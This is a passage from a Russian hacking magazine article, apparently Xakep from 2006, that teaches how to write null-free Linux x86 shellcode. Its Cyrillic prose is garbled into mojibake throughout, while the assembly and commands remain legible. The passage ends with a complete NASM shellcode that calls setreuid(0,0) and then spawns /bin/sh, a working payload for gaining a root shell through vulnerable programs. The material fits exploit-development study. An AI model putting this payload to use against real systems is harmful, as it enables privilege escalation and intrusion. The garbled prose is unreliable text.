Январь - Xakep Online

Íåîáõîäèìûå òóëçû:
Nasm (nasm.sourceforge.net)
Hexdump (www.canb.auug.org.au/~millerp/hexdump.html)
Êîëëåêöèè øåëë-êîäîâ è äîêóìåíòàöèè ïî òåìå:
Metasploit.com
packetstormsecurity.com/shellcode
www.shellcode.org
ÏÐÎÁËÅÌÛ ÍÅ ÊÎÍ×ÀÞÒÑß
Äàæå ïîñëå âíåñåííûõ èçìåíåíèé øåëë-êîä âñå ðàâíî ñîäåðæèò
íóëåâûå áàéòû. Îòëàä÷èê ïîêàçûâàåò, ÷òî èñòî÷íèê âñåõ áåä —
èíñòðóêöèÿ jmp:
E91500 jmp 0x29
0000 add [bx+si],al
Òóò åñòü îäíà õèòðîñòü: âìåñòî îáû÷íîé êîìàíäû jmp íóæíî èñïîëüçîâàòü
èíñòðóêöèþ áëèçêîãî ïåðåõîäà — jmp short. Â íåáîëüøèõ
ïðîãðàììàõ, èìåþùèõ ïðîñòóþ ñòðóêòóðó, ýòè èíñòðóêöèè
àáñîëþòíî ðàâíîïðàâíû, îäíàêî ìàøèííûé êîä âî âòîðîì
ñëó÷àå íå ñîäåðæèò íóëåâûõ áàéòîâ. À èìåííî ýòî íàì è íàäî.
Êàçàëîñü áû, âñå ãîòîâî. Øåëë-êîä äîëæåí áûòü èäåàëüíûì, íî
íåò! Â íåì ïî-ïðåæíåìó îñòàåòñÿ îäèí-åäèíñòâåííûé è ïîäëûé
íóëü-áàéò. Îí íàõîäèòñÿ â ñàìîì êîíöå íàøåãî øåëë-êîäà è ïîÿâëÿåòñÿ
òàì èç-çà òîãî, ÷òî ñòðîêà, ñîäåðæàùàÿ ïóòü ê èíòåðïðåòàòîðó
('/bin/sh', 0), çàêàí÷èâàåòñÿ íóëåì. Êàê ãîâîðèëîñü ðàíåå,
ýòîò íîëü íåîáõîäèì äëÿ ïðàâèëüíîé ðàáîòû ïðèëîæåíèÿ
(ôóíêöèè execve()). Ïðîñòî âçÿòü è óäàëèòü åãî íåëüçÿ, êàê áû òåáå
ýòîãî íè õîòåëîñü. Íî ìîæíî âîñïîëüçîâàòüñÿ åùå îäíîé õèòðîñòüþ:
íà ýòàïå êîìïîíîâêè âìåñòî íóëÿ ìîæíî óêàçàòü ïðîèçâîëüíûé
ñèìâîë è ïðåâðàòèòü åãî â íîëü ëèøü â ïðîöåññå âûïîëíåíèÿ
ïðîãðàììû. Ýòî äåëàåòñÿ ïðèìåðíî òàê:
Jmp short
code:
stuff
Ïîñëå âñåõ äîðàáîòîê íóëåâûå áàéòû èñ÷åçëè
â áîëüøèíñòâå ñëó÷àåâ ëåãêî ìîæåò îïðåäåëèòü èç-çà ÷åãî â ìàøèííîì
êîäå ïîÿâëÿþòñÿ íóëè, íî íàì, êàê íîâè÷êàì, íåîáõîäèìà
ïîìîùü äèçàññåìáëåðà. Âîñïîëüçóåìñÿ ndisasm:
$ nasm shell.asm
$ ndisasm shell.asm
Ïîñëå âûïîëíåíèÿ ýòîé êîìàíäû íà ýêðàí áóäåò âûâåäåí äèçàññåìáëèðîâàííûé
êîä ïðîãðàììû. Ïåðâûé ñòîëáåö — àäðåñ
èíñòðóêöèè, îí äëÿ íàñ íå îñîáåííî âàæåí. Âî âòîðîì ñòîëáöå
ðàñïîëîæåíû ìàøèííûå èíñòðóêöèè, òî÷íî òàêèå æå, êàê è ïðè
ïðîñìîòðå áèíàðíèêà hexdump'îì. Â òðåòüåì ñòîëáöå äëÿ êàæäîé
ìàøèííîé èíñòðóêöèè äàí ýêâèâàëåíò íà àññåìáëåðå. Òîëüêî
ñ ïîìîùüþ àññåìáëåðíîãî êîäà ìû ìîæåì ñóäèòü î òîì, îòêóäà
âçÿëè íóëåâûå áàéòû â øåëë-êîäå.
Ïîñëå áåãëîãî îñìîòðà äàìïà ñòàíîâèòñÿ ÿñíî, ÷òî áîëüøèíñòâî
NULL-áàéòîâ ñâÿçàíû ñ èíñòðóêöèÿìè, êîòîðûå óïðàâëÿþò ñîäåðæèìûì
ðåãèñòðà è ñòåêà. Ýòîãî ñëåäîâàëî îæèäàòü, ïîñêîëüêó ìû ðàáîòàåì
â 32-áèòíîì ðåæèìå è, ñîîòâåòñòâåííî, äëÿ êàæäîãî ÷èñëà
âûäåëÿåòñÿ 4 áàéòà ïàìÿòè. Ìû æå îïåðèðóåì ÷èñëàìè, äëÿ êîòîðûõ
õâàòàåò è îäíîãî áàéòà. Íàïðèìåð, â ñàìîì íà÷àëå ïðîãðàììû shell
ìû èìååì ñëåäóþùóþ êîíñòðóêöèþ «mov eax, 70» (çàíåñòè â ðåãèñòð
eax ÷èñëî 70).  äàìïå è øåëë-êîäå ýòà èíñòðóêöèÿ ïðåäñòàâëåíà
êàê «B8 46 00 00 00». Ïðè÷åì B8 — ýòî ìàøèííûé ýêâèâàëåíò
àññåìáëåðíîé êîìàíäû mov ax, à B8 00 00 00 — ÷èñëî 70 â øåñòíàäöàòåðè÷íîé
ñèñòåìå ñ÷èñëåíèÿ, äîïîëíåííîå íóëÿìè äî ðàçìåðà
4-õ áàéò. Àíàëîãè÷íî âîçíèêàåò åùå ìíîæåñòâî NULL-áàéòîâ.
Ê ñ÷àñòüþ, ðåøèòü ýòó ïðîáëåìó áóäåò ïðîùå ïðîñòîãî. Äîñòàòî÷íî
âñïîìíèòü, ÷òî 32-áèòíûå ðåãèñòðû (EAX, EBX è äðóãèå, íà-
÷èíàþùèåñÿ ñ áóêâû e) ìîæíî ðàçëîæèòü íà ðåãèñòðû ìåíüøåé
ðàçìåðíîñòè. Ïîñìîòðè íà èëëþñòðàöèþ è òåáå ñðàçó ñòàíåò ÿñíî,
÷òî íèêòî íå ìåøàåò íàì ðàáîòàòü ñ äâóõáàéòíûì ðåãèñòðîì
AX, à òàêæå ñ åãî ìëàäøåé è ñòàðøåé ÷àñòÿìè AL è AH. Ïîñëåäíèå
èìåþò ðàçìåð âñåãî â îäèí áàéò — êàê ðàç òî, ÷òî íàì íàäî.
Íóæíî ëèøü çàìåíèòü «mov eax, 70» íà «mov al, 70» è ò.ä. Âàæíî
ïîçàáîòèòüñÿ î òîì, ÷òîáû îñòàëüíàÿ ÷àñòü ðåãèñòðà íå ñîäåðæàëà
ìóñîðà. Áûñòðî è ýôôåêòèâíî îáíóëèòü çíà÷åíèå âñåãî ðåãèñòðà
ìîæíî, âîñïîëüçîâàâøèñü ëîãè÷åñêîé ôóíêöèåé «èñêëþ÷àþùåå
èëè». Òàê, «xor eax,eax» îáíóëèò çíà÷åíèå ðåãèñòðà EAX.
pop esi
; àäðåñ íà÷àëà ñòðîêè
; òåïåðü â ðåãèñòðå ESI
xor eax,eax
; îáíóëÿåì ðåãèñòð EAX
mov byte [esi + 17],al
; îòñ÷èòûâàåì 18 ñèìâîëîâ (íóìåðàöèÿ ñ íóëÿ)
; è çàíîñèì òóäà íîëü (ðåãèñòð EAX ïîëíîñòüþ
; ðàâåí íóëþ)
; Òåïåðü ñòðîêà ïðåâðàòèòüñÿ â «This is my string0»
stuff:
call code
db 'This is my string#'
Òåïåðü ïðèìåíèì ýòîò ïðèåì ïî îòíîøåíèþ ê ïðîãðàììå
shell.asm:
BITS 32
;setreuid(0, 0)
xor eax,eax
mov al, 70
xor ebx,ebx
xor ecx,ecx
int 0x80
jmp short two
one:
pop
ebx
; execve("/bin/sh",["/bin/sh", NULL], NULL)
xor eax,eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
mov al,11
xor edx,edx
int 0x80
two:
call one
db
'/bin/sh#'
Îòêîìïèëèðîâàâ ïðîãðàììó, óáåæäàåìñÿ, ÷òî íóëåâûõ áàéòîâ
áîëüøå íåò. Ñòîèò îòìåíèòü, ÷òî ïðîáëåìà ìîæåò âîçíèêíóòü íå
òîëüêî èç-çà íóëåé. Ñïåöèàëüíûå ñèìâîëû (ê ïðèìåðó, ñèìâîë
êîíöà ñòðîêè) â íåêîòîðûõ ñëó÷àÿõ òàêæå ìîãóò ñòàòü ïðè÷èíîé
íóëåâûõ áàéòîâ â øåëë-êîäå.
Ê ÄÅÉÑÒÂÈÞ
 ñòàòüå ïðèâåäåíû íàèáîëåå âàæíûå ïðèåìû, êîòîðûå ïîíàäîáÿòñÿ
ïðè ñîñòàâëåíèè øåëë-êîäîâ. Îäíàêî äëÿ óñïåõà íåäîñòàòî÷íî
ïðîñòî ïðî÷èòàòü ýòîò ìàòåðèàë. Âàæíî êàê ìîæíî ãëóáæå ðàçîáðàòüñÿ
ñ îïåðàöèîííîé ñèñòåìîé, ïîä êîòîðóþ ïèøåòñÿ øåëë-êîä,
à òàêæå ïðîãðàììèðîâàíèåì íà àññåìáëåðå. Íàäåþñü, ïðèâåäåííûå
ïðèìåðû óáåäèëè òåáÿ â òîì, ÷òî íè÷åãî ÷ðåçâû÷àéíî ñëîæíîãî
çäåñü íåò. Âñå äîâîëüíî ïðîñòî è ëîãè÷íî. Ãëàâíîå — íå áîÿòñÿ
îòêðûòü äîêóìåíòàöèþ è íåìíîãî ïîýêñïåðèìåíòèðîâàòü.
BINARY YOUR’S z
XÀÊÅÐ 01 /85/ 06 055